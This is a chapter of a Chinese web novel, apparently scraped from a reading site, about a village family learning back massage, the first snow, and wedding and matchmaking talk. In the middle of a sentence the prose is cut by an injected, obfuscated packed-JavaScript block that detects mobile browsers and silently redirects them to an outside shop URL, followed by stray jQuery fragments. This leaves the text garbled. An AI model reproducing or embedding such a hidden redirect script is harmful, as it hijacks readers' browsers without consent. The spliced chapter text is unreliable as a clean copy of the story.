默认冷灰
24号文字
方正启体

16. 初雪

作者:简梦昵本书字数:K更新时间:
    头上没有按摩膏尚且勉强,身上没有按摩油就完全不行。常茸率先准备了生姜油。


    生姜按摩油到底要怎么自制,常茸头大,依稀记得是蒸馏提取,可惜她当时参观大姨工厂的时候不感兴趣,一扫而过。


    又一次问自己,为什么学外语,化学不香吗?哦,得从高中学理科开始啊,那算了吧。


    生姜油怎么来的,常茸粗暴地做了两种。一种直接把老姜捶成末,滤出汁水加入豆油里;另一种把姜末倒进油里炸。


    今天先试试水油的。


    常茸把捂得热乎乎的手伸进碗里,分层的水油混合搅拌一下,擦在吴氏背上。


    吴佳香打了个哆嗦:“你这是和面呢!”


    有钱的人家才会在和面的时候放油。


    这时,房门开了,常萍端进来一个炭盆。


    常萍在娘脱衣服的时候离开了,孟锦娘以为她大姑娘害羞,没想到是去取火了。


    吴佳香闻到烟味才知道大女儿做了什么,慈爱道:“还是萍儿最贴心!”


    常茸站立,双手展油,把吴佳香的背抹得油光水滑的。从两肩开始,拇指分推淋巴到肩井穴,几遍后手法转为拳推。


    她边推边讲解:“接下来是大椎穴,就是这块鼓起来的地方,俗称‘富贵包’。富贵包推完,来到两侧肩胛骨逢,像娘经常使锄头就给她多推几次。”


    “嗯嗯,这里多按按。”吴佳香头埋在枕头里不好安放,也有点冷,但背上是真舒服,。


    可惜几人不识字更不会写,否则常茸真想让她们拿笔记下来,重复讲解真要命,老师不是耐心差的人能干的职业。


    “下一步,沿着脊柱两侧向下推膀胱经。手上来的时候力度稍轻带上来,双手全程不离开皮肤。”


    “再到脊柱,也就是督脉。督脉推完,用拳推放松整个背部肌肉,要沿着肌肉走向进行。”教多了她们记不住,就教最简单实用的一套。


    “……如此就完成了。”


    吴佳香觉得背热乎乎的,应该是那个“生姜油”发热了,正享受着呢,常茸就说完了,她强烈要求:“再按一会儿!”


    那就再来一遍。


    “记住顺序,从上到下,熟能生巧。”常茸这次加入了“拿”的动作,提拿手下吴佳香背上的肌肉,“等你们熟练了再加入其他手法。”


    这下几种手法都用上了,要不怎么叫“推拿按摩”呢?


    他们接受知识有限,学习进程缓慢,要给他们时间。


    常茸只要求他们怎么做,各种筋脉穴位专业知识多听,时间久了潜移默化地就懂一些了。


    常茸把吴佳香背上的油擦干净。


    吴佳香摸索着穿衣服,喟叹一声:“我差点睡着了。”


    看得常鹅都想试试了,当然是作为躺着的那个人试。


    “我也学学。”吴佳香看着其他三人,“你们哪个躺上去,我练练手。”


    孟锦娘和常萍对视一眼,都不好意思。


    “我我我!”常鹅先脱了鞋子上床,扒干净衣服躺下了。


    常茸不知道她的承受力度,就用了五成力。


    “重一点!”


    这个客人要求挺多啊。


    常鹅被按得一直反馈“真舒服”,“再按一会儿”,待常茸手推到腰间时,突然全身紧绷,笑起来了:“你摸到我痒痒肉了!”


    教学暂停,换模特继续。


    常鹅噘着嘴老大不高兴了。


    常萍还是不好意思,孟锦娘犹豫了一下:“我上吧。”她好歹是生过娃的,在婆婆、姑子面前露个背能接受。


    很快,她也在常茸手□□会到那种难言的畅快了。换婆婆上手的时候,她都不好意思反馈意见,一律“挺好的”。


    得到正反馈的吴佳香起初觉得自己天赋过人,一套下来看儿媳背部通红,后知后觉地问:“是不是我力气太大了?”


    “是……有点扎人。”孟锦娘羞愧道。


    “是你手上老茧太厚了,顺便给大嫂做了个‘刮痧’!”常茸哈哈大笑。刮痧、拔罐是她预备夏天再教的内容。


    吴佳香羞恼道:“是你大嫂皮肉嫩,我找你耶练手去,他皮糙肉厚不怕疼!”


    常怀山不愿也得愿,因为这家里除了吴佳香,没人能给他按背,指望儿子不如将就婆娘。


    被他嫌弃的儿子,却在常茸的指导下给一块画满箭头指向的石板做“推拿”。没人笑话他,因为孟锦娘和常萍都在拿枕头“练习”。


    常鹅骄傲地说她记住了,央着常萍晚上给她上手试试。常萍心想虽然黑灯瞎火的没人看见,但怕她瞎摸,说什么都不同意。


    吴佳香复习完功课下楼来了,慷慨说道:“明天我给你练。”


    常鹅顿时笑起来:“娘你最好了!”


    吴佳香一睁眼,天已经大亮,她以为是昨天按摩缘故睡了个懒觉,推开窗一看,才知夜里下了雪。


    灰暗的天被雪光反射得亮堂堂的。


    常茸被院子里嬉戏打闹的声音吵醒,缩在被子里不想动,打雪仗对她的吸引力没有被窝大。迷糊中又睡了个回笼觉,被常萍叫醒吃午饭。


    吃午饭?


    她居然睡这么晚,重点是没人叫她起床。


    大家是越来越宠她了。


    饭后,常茸在院子里堆了一排小雪人,特别叮嘱常鹅不准毁坏。


    “我才不会。”常鹅气愤地堆了另一排小雪人,比常茸的多一个,也比她大一圈。


    “鹅儿你不来练手啦?”屋里传来吴佳香的声音。


    “来了!”常鹅跑进灶间。


    “冷冰冰的,先把身上烤热乎。”


    一家人烤着火,少不得谈论常喜是不是在受冻。


    “吱呀——”有人进来了。


    是常决明家老二、老三。


    吴佳香招呼:“快过来烤火。”几个小的自觉让开温暖的座位。


    常近、常顺坐下就说了来意:“腊月初六我哥结婚,请四伯、四伯娘跟着一起去接亲。”


    “削萝卜给你二哥、三哥吃。”吴氏吩咐完小女儿,接过话头问,“说的是哪家姑娘?”咋一点风声都没听到过,就定婚期了?


    常近回道:“是我外婆家那边的堂亲,两个村子离得不远。”


    “请了几个接亲的?”


    “十二个男工,十二个女工。”常近说,“我们刚从老耶和大伯家出来,这边请了大伯、大伯娘、春哥和大嫂,还有小耶、小婶,一共八个。”


    “你大伯娘帮你家请这边的客?”


    “是的。”


    说话间,常萍给两个堂哥一人削了个萝卜。俩人吃完萝卜就告辞了,说要去请其他接亲的。


    常近又重复:“请四伯一家过去耍,初五就去!”


    常怀山再次点头:“好好,我们会去的。”


    等俩人走远了,吴佳香稀奇道:“村长家都不请一个人接亲的?”


    常怀山摇头:“决明是跟这边越来越不亲了。”


    “我想大嫂怕有点不好意思,村长家跟我们带着亲戚关系的,人家会想不请他家接亲是不是瞧不起人。她去请人吃喜酒都不好说。”


    可不就是不好说,常近兄弟俩走了没多久,大伯娘杨菊花就过来吐槽了。


    “真的是,要不是亲兄弟,我都不帮他这个忙!”杨菊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538673|203678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    花撇嘴道。


    常萍熟练地削了萝卜送上,这是冬天有客人来窜门必备的招待。


    吴佳香拿了块萝卜咬了一口:“给你伯娘削个脆柿。”回头对大嫂说,“特意留着招呼客人的,没剩几个了。”


    杨菊花感觉受到了重视,笑着道:“那我就厚着脸皮吃了——你哪天去买布,约我一起。”


    按照习俗,接亲送亲要穿新衣服,有条件的就做新衣服,再不济就穿洗得干干净净的,甚至找亲戚借。


    吴佳香爽快道:“还是去葛村,我家跟葛大家熟,比在布庄买便宜。”


    杨菊花想着她家的围裙生意,故意酸唧唧地说:“你家今年过得红火,连我都眼热了。”


    吴佳香也故作得意的样子,却虚心道:“赶上你家差远了。”


    这时,柿子削好了,大伯娘咬了一口:“哪天去买?我好安排。”


    “冬天家家闲着,你忙甚?”吴佳香好奇道。


    “给柱子下定。”


    “选什么日子?”


    “合了腊月二十与正月十一,看女方家选哪个。”


    吴佳香了然道:“你肯定想要腊月。”老话说“娶个媳妇好过年”。


    杨菊花却否认:“都一样。就是想到小儿子成家后,就要分家了,惆怅得很。”


    吴佳香安慰道:“惆怅啥,你该享福了。几个儿子都有出息,跟哪个都好过。”


    “算了,不说伤心事。柱子和常远都定了,你家二庸咋说?”杨菊花摆摆手,转移话题。


    常庸去年要攀亲,因为服役耽误了一年,年初孟锦娘产女没顾上,接着农忙,之后是几次赚钱买卖,竟不小心忽略了。


    “一下子没顾得上来。”


    “到年纪了,拖不得啦。”


    “怎么,你要给他做媒?”吴佳香玩笑道。


    “可不就是嘛。”大伯娘一副“被你猜到了”的样子。


    吴佳香一听真惊讶了:“说的哪家?”


    “大春媳妇儿的堂妹。”杨菊花说着看了常庸一眼。


    常庸被看得不好意思了,离开又舍不得,只得埋着脑袋竖起耳朵听。


    “那不是城里人,能看上我们庄户人家嘛?”吴佳香觉得不靠谱。


    杨菊花不乐意听这个:“有啥看不上的,我家大春也是农民。”


    “这哪能一样?大春多有出息啊,住在城里,在城里医馆坐堂,跟城里人没两样。”吴佳香很有自知之明的,俗话说“高门嫁女,低头娶妻”,门当户对最重要。


    “听大春媳妇说,她婶婶家不在意这个。”


    “她家做啥的,姑娘多大?”吴佳香理智觉得不搭,心里却不由生出奢望,想了解更多信息。


    “耶耶是大夫,跟大春在一家医馆,家里三个姑娘没有兄弟,上面两个嫁出去了,说的是小姑娘。女方跟二庸一样属猪的,前天刚满十七岁,从小在医馆当药童,会抓药会煎药,家里有下人,家务就差一些。


    “就是她娘七个全是姐妹,她们三姐妹也没有兄弟,前面两个姐姐下面一水女儿,相看的城里人怕绝嗣,条件差的她家看不上。


    “眼看姑娘年纪大了,她娘就把条件放宽了,只要上进的男娃,农村的也没关系。


    “大春媳妇把话跟我一提,我立马想到了咱家二庸!”这也是知晓老四家没那么在意子孙传代,否则杨菊花来说这种亲,两家必生嫌隙。


    “姑娘这条件,留在家里招赘也行啊。”吴佳香听完,更觉得他们家狗窝配不上金凤凰了。


    杨菊花嗤笑:“上门男有几个出息的?”


    “成不成的,相看了再说!”杨菊花直接拍板。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)